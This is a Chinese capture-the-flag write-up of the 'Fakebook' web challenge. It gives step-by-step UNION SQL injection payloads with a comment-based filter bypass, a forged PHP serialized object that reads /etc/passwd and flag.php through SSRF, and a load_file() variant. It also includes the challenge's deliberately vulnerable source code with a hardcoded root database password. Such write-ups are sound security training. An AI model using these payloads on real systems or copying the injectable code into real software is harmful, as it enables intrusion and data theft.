背景 本题来源于2018年网鼎杯,攻防世界WEB进阶019上是原题。题目考察的是SQL注入中的UNION注入、SSRF和反序列化的组合利用,是一道比较综合性的题目,值得学习。
正文 打开题目链接,注册用户
可以测试发现view.php
可能存在SQL注入:
使用order by
测试,枚举到此注入点有5列数据,payload:
使用UNION SELECT
测试注入点,发现UNION SELECT
会被拦截,使用注释符绕过:
1 2 ?no=1 union select 1,2,3,4 ?no=-1 union/**/select 1,2,3,4
可以看到第二列输出到了页面,先获取当前用户名试试:
1 ?no=-1 union/**/select 1,user(),3,4
查询所有数据库名:
1 ?no=-1 union/**/select 1,(select group_concat(SCHEMA_NAME) from information_schema.schemata)a,3,4
查询fakebook的所有表名:
1 ?no=-1 union/**/select 1,(select group_concat(TABLE_NAME)from information_schema.TABLES WHERE TABLE_SCHEMA='fakebook')a,3,4
查询fakebook的users表所有列名:
1 ?no=-1 union/**/select 1,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='fakebook' and TABLE_NAME='users')a,3,4
查询fakebook的users表的数据:
1 ?no=-1 union/**/select 1,(select group_concat(no,'=',username,'=',passwd,'=',data) from users)a,3,4
观察data
列及页面报错,推测存在反序列化漏洞,直接修改序列化的字符串中的url和长度:
1 ?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"222";s:3:"age";i:123;s:4:"blog";s:18:"file:///etc/passwd";}'
枚举几个常见flag文件路径,最终得到flag:
1 ?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"222";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
小插曲,读取index.php
中也有一个flag字符串,一度认为这是最终flag,却提示错误,此处想暴打出题人!
非预期解法 mysql中有一个load_file()函数,这个函数可以读取本地文件,但是有两个条件:
本题中数据库恰好使用了root用户:
那么可以通过load_file
读取文件:
1 -1 union/**/select 1,load_file('/var/www/html/flag.php'),3,4
题目源码 index.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <?php session_start(); ?> <?php require_once 'db.php'; ?> <?php require_once 'user.php'; ?> <?php $flag = "FLAG{flag is in your mind}"; $db = new DB(); $user = new UserInfo(); ?> <!doctype html> <html lang="ko"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Fakebook</title> <?php include 'bootstrap.php'; ?> </head> <body> <div class="container"> <h1>the Fakebook</h1> <?php if (!isset($_SESSION['username'])) { $message = "<div class='row'>"; $message .= "<div class='col-md-2'><a href='login.php' class='btn btn-success'>login</a></div>"; $message .= "<div class='col-md-2'><a href='join.php' class='btn btn-info'>join</a></div>"; $message .= "</div>"; echo $message; } ?> <p>Share your stories with friends, family and friends from all over the world on <code>Fakebook</code>.</p> <table class="table"> <tr> <th>#</th> <th>username</th> <th>age</th> <th>blog</th> </tr> <?php foreach ($db->getAllUsers() as $user) { $data = unserialize($user['data']); echo "<tr>"; echo "<td>{$user['no']}</td>"; echo "<td><a href='view.php?no={$user['no']}'>{$user['username']}</a></td>"; echo "<td>{$data->age}</td>"; echo "<td>{$data->blog}</td>"; echo "</tr>\n"; } ?> </table> </div> </body> </html>
db.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php require_once 'lib.php'; $mysqli = new mysqli('127.0.0.1', 'root', 'naiwjebfahjebfja', 'fakebook'); class DB { function __construct() { // $mysqli = new mysqli('localhost', 'root', '!@#1234!@#', 'fakebook'); } public function isValidUsername($username) { global $mysqli; $query = "select * from users where username = '{$username}'"; $res = $mysqli->query($query); if (!$res->fetch_array()) { return 1; } else { return 0; } } function login($username, $passwd) { global $mysqli; $username = addslashes($username); $passwd = sha512($passwd); $query = "select * from users where username = '{$username}' and passwd = '{$passwd}'"; $res = $mysqli->query($query); return $res->fetch_array(); } function insertUser($username, $passwd, $data) { global $mysqli; $username = substr($username, 0, 100); $username = addslashes($username); $passwd = sha512($passwd); $data = serialize($data); $data = addslashes($data); $query = "insert into users (username, passwd, data) values ('{$username}', '{$passwd}', '{$data}')"; return $mysqli->real_query($query); } public function getAllUsers() { global $mysqli; $query = "select * from users"; $res = $mysqli->query($query); return $res->fetch_all(MYSQLI_ASSOC); } public function getUserByNo($no) { global $mysqli; // $no = addslashes($no); $query = "select * from users where no = {$no}"; $res = $mysqli->query($query); if (!$res) { echo "<p>[*] query error! ({$mysqli->error})</p>"; } return $res->fetch_assoc(); } public function anti_sqli($no) { $patterns = "/union\Wselect|0x|hex/i"; return preg_match($patterns, $no); } } /* CREATE TABLE `users` ( `no` INT NOT NULL AUTO_INCREMENT , `username` VARCHAR(100) NOT NULL , `passwd` VARCHAR(128) NOT NULL , `data` TEXT NOT NULL , PRIMARY KEY (`no`)) ENGINE = MyISAM; */
user.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
lib.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php function sha512($data) { return hash('sha512', $data); } function xss($data) { return htmlspecialchars($data, ENT_QUOTES, 'UTF-8'); } function anti_object_injection($unserializedData) { if (preg_match("/O:/i", $unserializedData)) { return 0; } else return 1; }
bootstrap.php 1 2 3 4 5 <link rel="stylesheet" href="css/bootstrap.min.css" crossorigin="anonymous"> <script src="js/jquery-3.3.1.slim.min.js" crossorigin="anonymous"></script> <script src="js/popper.min.js" crossorigin="anonymous"></script> <script src="js/bootstrap.min.js" crossorigin="anonymous"></script>
view.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 <?php session_start(); ?> <?php require_once 'db.php'; ?> <?php require_once 'user.php'; ?> <?php require_once 'error.php'; ?> <?php $db = new DB(); ?> <!doctype html> <html lang="ko"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>User</title> <?php require_once 'bootstrap.php'; ?> </head> <body> <?php $no = $_GET['no']; if ($db->anti_sqli($no)) { die("no hack ~_~"); } $res = $db->getUserByNo($no); $user = unserialize($res['data']); //print_r($res); ?> <div class="container"> <table class="table"> <tr> <th> username </th> <th> age </th> <th> blog </th> </tr> <tr> <td> <?php echo $res['username']; ?> </td> <td> <?php echo $user->age; ?> </td> <td> <?php echo xss($user->blog); ?> </td> </tr> </table> <hr> <br><br><br><br><br> <p>the contents of his/her blog</p> <hr> <?php $response = $user->getBlogContents(); if ($response === 404) { echo "404 Not found"; } else { $base64 = base64_encode($response); echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>"; // echo $response; } // var_dump($user->getBlogContents()); ?> </div> </body> </html>
error.php 1 2 3 4 5 6 7 <?php error_reporting(E_ALL); ini_set("display_errors", 1); // error_reporting(0); // ini_set("display_errors", 0);
flag.php 1 2 3 4 5 <?php $flag = "flag{c1e552fdf77049fabf65168f22f7aeab}"; exit(0);
join.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 <!doctype html> <html lang="ko"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>Join</title> <?php include 'bootstrap.php'; ?> </head> <body> <div class="container"> <h1>Join</h1> <div class="form-group"> <form action="join.ok.php" method="post"> <div class="row"> <div class="col-md-1"> username </div> <div class="col-md-4"> <input type="text" name="username" maxlength="100" class="form-control"> </div> </div> <div class="row"> <div class="col-md-1"> passwd : </div> <div class="col-md-4"> <input type="password" name="passwd" class="form-control"> </div> </div> <div class="row"> <div class="col-md-1"> age : </div> <div class="col-md-4"> <input type="text" name="age" class="form-control"> </div> </div> <div class="row"> <div class="col-md-1"> blog : </div> <div class="col-md-4"> <input type="text" name="blog" class="form-control"> </div> </div> <div class="row"> <input type="submit" value="join" class="btn btn-info"> </div> </form> </div> </div> </body> </html>